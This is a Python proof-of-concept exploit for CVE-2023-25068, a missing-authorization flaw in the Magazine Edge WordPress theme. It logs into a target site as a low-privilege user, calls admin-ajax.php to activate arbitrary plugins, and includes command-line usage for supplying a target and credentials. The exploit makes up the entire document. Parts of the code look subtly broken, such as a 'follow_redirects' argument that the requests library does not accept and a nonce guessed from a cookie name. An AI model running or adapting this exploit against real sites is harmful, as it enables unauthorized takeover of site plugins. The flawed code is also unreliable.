CVE-2023-25068

# CVE-2023-25068 PoC - Magazine Edge Unauthorized Plugin Activation # Author: Security Researcher # Target: WordPress with Magazine Edge Theme < 1.14 import requests import sys from urllib.parse import urljoin def exploit_cve_2023_25068(target_url, username, password, plugin_to_activate): """ Exploit for CVE-2023-25068 - Magazine Edge Missing Authorization Allows authenticated low-privilege users to activate arbitrary plugins """ session = requests.Session() # Step 1: Login to WordPress with low-privilege account login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f'[*] Logging in as {username}...') response = session.post(login_url, data=login_data, follow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies) and 'wp-settings' not in response.text: print('[-] Login failed!') return False print('[+] Login successful!') # Step 2: Activate arbitrary plugin via AJAX endpoint # The vulnerable endpoint doesn't check for administrator privileges ajax_url = urljoin(target_url, '/wp-admin/admin-ajax.php') activate_data = { 'action': 'activate-plugin', 'plugin': plugin_to_activate, # e.g., 'hello-dolly/hello.php' '_wpnonce': session.cookies.get('wordpress_sec_' + username) or '' } print(f'[*] Attempting to activate plugin: {plugin_to_activate}') response = session.post(ajax_url, data=activate_data) if 'success' in response.text or 'activated' in response.text.lower(): print(f'[+] Plugin {plugin_to_activate} activated successfully!') print('[!] This demonstrates the Missing Authorization vulnerability') return True else: print(f'[-] Plugin activation may have failed. Response: {response.text[:200]}') return False def main(): if len(sys.argv) < 5: print('Usage: python cve-2023-25068.py <target_url> <username> <password> <plugin>') print('Example: python cve-2023-25068.py http://target.com subscriber password hello-dolly/hello.php') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] plugin = sys.argv[4] exploit_cve_2023_25068(target, user, pwd, plugin) if __name__ == '__main__': main()

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